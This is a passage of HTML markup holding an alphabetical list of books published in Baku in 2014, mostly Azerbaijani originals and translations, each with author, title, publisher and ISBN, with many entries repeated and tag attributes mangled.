Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp;&nbsp; 9789952823004</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Əsrləri qabaqlamış alim Nəsirəddin Tusi .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; : 9789952823080</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Həqiqət&nbsp; .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952823097</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Müqəddəs missiya .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; :&nbsp; 9789952826401</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ramiz Dəniz . Yeni dünya sahillərinə yollanan konkistadorlar .&nbsp; Bakı : Nasir, 2014. ISBN&nbsp; : 9789952826425</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsualzadə, M .&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Əsərləri 1918-aprel 1920 .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952267945</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsulzadə, M. Ə. Əsərləri: 1918- aprel 1920. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267945</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rəsulzadə, M. Ə. Əsərləri: 1918- aprel 1920. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267945</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rid, M. Oseola seminollarin başçısı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241808</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rid, M. Oseola seminollarin başçısı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241808</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rıhtım, M. Halvetiyye sufiliği. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468267</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rıhtım, M. Halvetiyye sufiliği. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468267</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Roulinq , C . K . Harri potter və azkaban məhbusu .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN :&nbsp; 9789952268508</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rulfo, X. Pedro Paramo. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266658</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rulfo, X. Pedro Paramo. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266658</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkçülük yolunda. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267150</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkçülük yolunda. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267150</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkün milli vicdanının səsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Rüstəmxanlı, T. Türkün milli vicdanının səsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267754</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sahil, S. İsanın qadını. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267723</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sahil, S. İsanın qadını. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267723</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Saidi, Q. TOP. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266795</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Saidi, Q. TOP. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266795</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sand ,&nbsp; J . İndiana&nbsp; .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp;&nbsp; 9789952267983</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sekman, M. Hər şey səninlə başlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266696</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sekman, M. Hər şey səninlə başlar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266696</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sençin, R. İki povest, iki müsahibə. Bakı: Mütərcim, 2014. ISBN: 9789952281873</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sençin, R. İki povest, iki müsahibə. Bakı: Mütərcim, 2014. ISBN: 9789952281873</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sevər, S. E. Falçı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266566</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sevər, S. E. Falçı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266566</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Səmədoğlu, Y. Qətl günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266689</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Səmədoğlu, Y. Qətl günü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266689</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sənii, P. Mənim payım. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265972</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sənii, P. Mənim payım. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265972</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sizov, A. Uğurlu satış üçün 55 məsləhət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Sizov, A. Uğurlu satış üçün 55 məsləhət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267518</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Soltan Cəfər oğlu Mehdiyev. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Soltan Cəfər oğlu Mehdiyev. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Svayq, S. Tarixi miniatürlər . Bakı : Qanun, 2014 . ISBN : 9789952268485</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Svift, C. Qulliverin səyahətləri. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Svift, C. Qulliverin səyahətləri. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241938</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şafak, E. Qara süd. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267235</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şafak, E. Qara süd. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267235</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şahbazov, R. Onun həyatında iki qadın var idi. Bakı: Mütərcim, 2014. ISBN: 9789952281835</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şahbazov, R. Onun həyatında iki qadın var idi. Bakı: Mütərcim, 2014. ISBN: 9789952281835</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şarma , R&nbsp; . Ferrarisini satmış rahib&nbsp; .&nbsp; Bakı :&nbsp; Kitab klubu&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952812511</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmistan Nəzirli: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460360</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmistan Nəzirli: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460360</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Müdriklər bunları deməyib... Bakı: Proqres, 2014. ISBN: 9789952824421</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Müdriklər bunları deməyib... Bakı: Proqres, 2014. ISBN: 9789952824421</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Səma. Bakı: Proqres, 2014. ISBN: 9789952824414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Səma. Bakı: Proqres, 2014. ISBN: 9789952824414</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Sonuncu daxma. Bakı: Proqres, 2014. ISBN: 9789952824407</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şəmsizadə, N. Sonuncu daxma. Bakı: Proqres, 2014. ISBN: 9789952824407</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şıxlı, İ. Dəli Kür. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267082</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şıxlı, İ. Dəli Kür. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267082</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şiklimıxhvan lüğət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şiklimıxhvan lüğət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268317</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şirinov , R.&nbsp; 40 Hədisdə Ailə . Bakı : İpəkyolu&nbsp;&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952822151</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şorbalar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267594</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Şorbalar. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267594</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tanpınar, Ə. H. Saatları qurma institutu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267662</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Tanpınar, Ə. H. Saatları qurma institutu. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267662</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Teymur Elçin: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460353</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Teymur Elçin: biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460353</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təhməzov, M. Kəlbəcərin tanınmış adamları. Bakı: Şərq – Qərb ASC, 2014. ISBN: 9789952824162</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təhməzov, M. Kəlbəcərin tanınmış adamları. Bakı: Şərq – Qərb ASC, 2014. ISBN: 9789952824162</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təqvim 2015. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952460483</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Təqvim 2015. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952460483</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Thirzadə,Ə .&nbsp; Aşurovlar soyun sənədli tarixi . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952443202</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş , O . N .&nbsp; Haqqa gedən yolda&nbsp; 40 sual&nbsp; . Bakı : İpəkyolu&nbsp;&nbsp; , 2013 . ISBN&nbsp; :&nbsp;&nbsp; 9789952822168</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Topbaş , O. N . Müsəlmanın Pulla imtahanı . Bakı :&nbsp; İpəkyolu&nbsp; , 2013 . ISBN&nbsp; :&nbsp; 9789952822144</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Treysi,B., Arden,R .&nbsp; Xarizmanın gücü. Bakı: Qanun, 2014 . ISBN : 9789952268942</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Trotski, L. D . Gündəliklər və məktublar . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268454</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ts`əxni mizelin şikılbişikvan luğat. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ts`əxni mizelin şikılbişikvan luğat. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268355</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Turgenev , İ . Atalar və oğullar&nbsp; .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp;&nbsp; 9789952268065</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Dünyaların savaşı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Dünyaların savaşı. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241907</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Zaman maşını. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Uells, H. Zaman maşını. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952241914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulu öndər Heydər Əliyevin Şəmkirçay su anbarının tkintisi ideyaları uğurla həyata keçirilir. Bakı: Mütərcim, 2014. ISBN: 9789952281897</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulu öndər Heydər Əliyevin Şəmkirçay su anbarının tkintisi ideyaları uğurla həyata keçirilir. Bakı: Mütərcim, 2014. ISBN: 9789952281897</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Dramaturgiyada ədəbi əlaqələr. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Dramaturgiyada ədəbi əlaqələr. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Seçilmiş əsərləri: III cild. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ulutürk, X. R. Seçilmiş əsərləri: III cild. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495010</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Updike, J . Terrorçu . Bakı :&nbsp; Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268829</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ümit, A. İstanbul xatirəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267228</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ümit, A. İstanbul xatirəsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267228</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyev, H. Mark Tven jurnalist kimi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268034</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyev, H. Mark Tven jurnalist kimi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268034</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Vəliyev,S. Müstəqil Azərbaycan respublikasının ilk konstitusiyası və Azərbaycan mədəniyyəti .&nbsp; Bakı : Müəllim , 2014.&nbsp; ISBN 9789952435566</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Müasir Azərbaycan dilində söz tərkibinin müəyyənləşməsi. Bakı: Müəllim nəşriyyatı, 2014. ISBN: 9789952435504</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Müasir Azərbaycan dilində söz tərkibinin müəyyənləşməsi. Bakı: Müəllim nəşriyyatı, 2014. ISBN: 9789952435504</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Zaman xəbərsiz ötdü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vəliyeva, S. Zaman xəbərsiz ötdü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267891</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Virdü-Səttar Seyid Yəhya Əş-Şirvani Əl-Bakuvi. Bakı: Nurlar Nəşriyyat Poliqrafiya Mərkəzi, 2014. ISBN: 9789952468243</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Virdü-Səttar Seyid Yəhya Əş-Şirvani Əl-Bakuvi. Bakı: Nurlar Nəşriyyat Poliqrafiya Mərkəzi, 2014. ISBN: 9789952468243</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vitali, C. Açar: istəklərinizin qapısını aça biləcəksiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266832</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vitali, C. Açar: istəklərinizin qapısını aça biləcəksiniz. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266832</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vudkok, P. Çevrilmiş tabutlar. Bakı: Mütərcim, 2014. ISBN: 9789952281811</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Vudkok, P. Çevrilmiş tabutlar. Bakı: Mütərcim, 2014. ISBN: 9789952281811</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Yaqub, M. Sevgi şeirləri. Bakı: 